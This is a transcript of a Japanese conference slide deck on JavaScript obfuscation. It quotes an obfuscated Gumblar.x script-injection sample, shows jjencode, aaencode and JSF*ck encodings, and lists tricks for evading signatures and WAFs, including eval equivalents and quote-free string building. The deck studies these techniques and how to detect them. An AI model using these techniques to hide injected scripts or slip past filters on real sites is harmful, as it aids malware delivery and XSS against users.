難読化 javascript

Post on 01-Jan-2016

80 Views

Category:

Documents

0 Downloads

Preview:

Click to see full reader

DESCRIPTION

難読化 JavaScript. NetAgent Co.,Ltd . Yosuke HASEGAWA. 韓国 POC2010. 韓国最大のセキュリティカンファレンス 2010 年 12 月 14 日、 15 日 参加者 200 名くらい 海外からも有名スピーカー. 韓国 POC2010. 本題 難読化 JavaScript. 難読化の理由. 圧縮の副作用として アンチウイルスや IDS のシグネイチャ回避 アンチ デバッグ. 難読化:圧縮 の副作用と して. 配信サイズの縮小 Google Closure Compiler - PowerPoint PPT Presentation

TRANSCRIPT

難読化 JavaScriptNetAgent Co.,Ltd.Yosuke HASEGAWA

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

韓国 POC2010

韓国最大のセキュリティカンファレンス 2010 年 12 月 14 日、 15 日 参加者 200 名くらい 海外からも有名スピーカー

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

韓国 POC2010

本題難読化 JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の理由

圧縮の副作用としてアンチウイルスや IDS のシグネイ

チャ回避アンチデバッグ

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化:圧縮の副作用として

配信サイズの縮小Google Closure CompilerYahoo! YUI CompressorMicrosoft Ajax Minifier

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化:圧縮の副作用として

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化:圧縮の副作用として

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化:圧縮の副作用として

圧縮された JavaScript のデバッグdeminify ツールはいろいろFiddler で deminified JS を返すWeb ブラウザのデバッガで解析

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化:シグネイチャの回避

パターンマッチの回避が目的容易に亜種を生成「解析のしにくさ」は副次的 ?Gumblar 、 Gumblar.x など

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化 : Gumblar.x<script>/*GNU GPL*/ try{window.onload = function(){ var If0y2m9d6n3gx = document.createElement( 's)(c&&r&i@&$p(t))@&@....' .replace( /&|\(|@|#|\!|\$|\^|\)/ig, '')); If0y2m9d6n3gx.setAttribute('type', 't$&&^e$)#x@(#@t^/^@#)j&^@a$!&^)v$a(!$!s $$$c^r@))i$@p^@)t^!!$' .replace(/&|#|\)|\!|@|\^|\$|\(/ig, '')); If0y2m9d6n3gx.setAttribute('src', 'h&(t##t(^@p&$$:#@^/$)($/#!) … (.@c)o!$$m!!(/(' .replace(/\$|#|\^|@|\(|&|\)|\!/ig, ''));

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化: Gumblar

文字列リテラルに記号を挿入 ‘ 文 $ 字 #% 列’ .replace( / 記号 /, '' );機械的に生成可能

変数名が長いvar If0y2m9d6n3gx, Jydcftfn0k ;英数字のみ ? 

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化 : Gumblar.x

パターンマッチでない検出アプローチ

文字の出現頻度a-zA-Z0-9 と &#)!@^$( の割合

Gumblar : 30% - 55%jQuery : 87%Twitter : 88%

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化:シグネイチャの回避

特定サイトの WAF/IDS の回避が目的一撃必殺 ? 一期一会 ?亜種の生成は不要あまり知りません ^^;

最終的には <script> <iframe> などを挿入

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化 : アンチデバッグ

解析しにくいコードブラウザ依存でも可 ?趣味の世界

jjencode, aaencode, JSF*ck

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

jjencode$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\")"+"\"")())();

http://utf-8.jp/public/jjencode.html

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

aaencode゚ ω ゚ノ = / `m ´ )ノ ~ //*´┻━┻ ∇ ` */ ['_']; o=( ゚ー゚ ) =_=3; c=( ゚ Θ ゚ ) =( ゚ー゚ )-( ゚ー゚ ); ( ゚ Д ゚ ) =( ゚ Θ ゚ )= (o^_^o)/ (o^_^o);( ゚ Д ゚ )={ ゚ Θ ゚ : '_' , ゚ω ゚ノ : (( ゚ ω ゚ノ ==3) +'_') [ ゚ Θ ゚ ] , ゚ー゚ノ :( ゚ ω ゚ノ + '_')[o^_^o -( ゚Θ ゚ )] , ゚ Д ゚ノ :(( ゚ー゚ ==3) +'_')[ ゚ー゚ ] }; ( ゚ Д ゚ ) [ ゚ Θ ゚ ] =(( ゚ ω ゚ノ ==3) +'_') [c^_^o];( ゚ Д ゚ ) ['c'] = (( ゚ Д ゚ )+'_') [ ( ゚ー゚ )+( ゚ー゚ )-( ゚ Θ ゚ ) ];( ゚ Д ゚ ) ['o'] = (( ゚ Д ゚ )+'_') [ ゚ Θ ゚ ];( ゚ o ゚ )=( ゚ Д ゚ ) ['c']+( ゚ Д ゚ ) ['o']+( ゚ ω ゚ノ +'_')[ ゚ Θ ゚ ]+ (( ゚ ω ゚ノ ==3) +'_') [ ゚ー゚ ] + (( ゚ Д ゚ ) +'_') [( ゚ー゚ )+( ゚ー゚ )]+ (( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+(( ゚ー゚ ==3) +'_') [( ゚ー゚ ) - ( ゚ Θ ゚ )]+( ゚ Д ゚ ) ['c']+(( ゚ Д ゚ )+'_') [( ゚ー゚ )+( ゚ー゚ )]+ ( ゚ Д ゚ ) ['o']+(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ];( ゚Д ゚ ) ['_'] =(o^_^o) [ ゚ o ゚ ] [ ゚ o ゚ ];( ゚ ε ゚ )=(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+ ( ゚Д ゚ ) . ゚ Д ゚ノ +(( ゚ Д ゚ )+'_') [( ゚ー゚ ) + ( ゚ー゚ )]+(( ゚ー゚ ==3) +'_') [o^_^o - ゚Θ ゚ ]+(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+ ( ゚ ω ゚ノ +'_') [ ゚ Θ ゚ ]; ( ゚ー゚ )+=( ゚ Θ ゚ ); ( ゚Д ゚ )[ ゚ ε ゚ ]='\\'; ( ゚ Д ゚ ). ゚ Θ ゚ノ =( ゚ Д ゚ + ゚ー゚ )[o^_^o -( ゚ Θ ゚ )];(o ゚ー゚o)=( ゚ ω ゚ノ +'_')[c^_^o];( ゚ Д ゚ ) [ ゚ o ゚ ]='\"';( ゚ Д ゚ ) ['_'] ( ( ゚ Д ゚ ) ['_'] ( ゚ε ゚ +( ゚ Д ゚ )[ ゚ o ゚ ]+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ( ゚ー゚ )+ ( ゚ Θ ゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ (( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ー゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ( ゚ー゚ )+ (( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ((o^_^o) +(o^_^o))+ ((o^_^o) - ( ゚ Θ ゚ ))+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ((o^_^o) +(o^_^o))+ ( ゚ー゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+(( ゚ー゚ ) + ( ゚ Θ ゚ ))+ (c^_^o)+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+((o^_^o) +(o^_^o))+ ( ゚ Θ ゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+(( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ Θ ゚ )+ ( ゚ Д ゚ )[ ゚ o ゚ ]) ( ゚ Θ ゚ )) ('_');

http://utf-8.jp/public/aaencode.html

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

JSF*ck(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+!+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()

http://utf-8.jp/public/jsfuck.html

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

jjencode による攻撃

http://www.malwaredomainlist.com/forums/index.php?topic=4354.0

http://extraexploit.blogspot.com/2010/10/dollars-javascript-code-yet-another.html

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

jjencode による攻撃

現実的には攻撃には不向き亜種の生成が困難IE7 以下で動作しない「エンコード」なのでデコードが簡

単文字種から容易に検出可能

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法いろいろ

変数の使いまわし、ロジックの裁断ヘタクソなプログラムと一緒

単純にノイズを埋め込むJavaScript の柔軟性を利用

window["alert"](1)eval("alert(1)")

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 数値の生成

数値を使わないコードの記述が可能に数値でないものに演算子を適用

"2" * "3" // 6+[] -~NaN // 0 - -1 == 1""^"" // 0 xor 0 == 0

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 論理値の生成

true / false を直接記述しないコードが可能に

論理値でないものに論理演算子を適用![] // false""=='' // true[]<{} // true

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列の生成

8 進数、 16 進数で表記"\101\x42"

JS or ブラウザのエスケープ関数unescape("%41%42")String.fromCharCode(0x41,0x42)atob("QUI=")

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列の生成

文字列でないものに文字列演算子を適用で、 string にキャスト{}+"" //"[object Object]"[]+![] // "false"[]["$"]+"" // "undefined"

配列形式で 1 文字取り出し([]+![])[ 0 ] // 'f'

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列の操作

文字の切り出し"abcd"[ 0 ]

引用符を使わないリテラル文字列/ABCD/.source // 正規表現<>ABCD</> // E4X FF

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列の操作

文字の連結"A".concat("B")["A","B"].join().replace(/,/g,"")<>{"A"}{"B"}</a> // E4X FF

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列を実行

DOM 経由write("<script>...</script>")

JS 内で evaleval( "alert(1)" )

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列を実行

eval 相当の機能setTimeout("alert(1)", 0 )Function("alert(1)")()Number.constructor("alert(1)")()execScript("alert(1)", "jscript") //IE

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列を実行

eval 相当の機能crypto.generateCRMFRequest(

'CN=0', 0, 0, null,'alert(1)',384,null,'rsa-dual-use') //

FFexecScript(

"#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@","jscript.encode") // IE

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : window の取得

window["alert"](1)window["eval"]("alert(1)")

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : window の取得

window, self, this, top, parentx=''.split,x(null)Date.constructor('return this')()(0,[].sort)()

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 将来…

ブラウザ依存の積極的活用主ターゲットを絞る、ブラウザごと

に違う exploit 等アンチデバッガ

WebWorkers が利用可能

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

参考資料

Our Favorite XSS Filters/IDS and how to Attack Themhttp://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf

JavaScript From Hellhttp://proidea.maszyna.pl/CONFidence09/2/CONFidence2009_mario_heiderich.pdf

sla.ckers.org web application security forum :: XSS Infohttp://sla.ckers.org/forum/list.php?2

sla.ckers.org web application security forum :: Obfuscationhttp://sla.ckers.org/forum/list.php?24

top related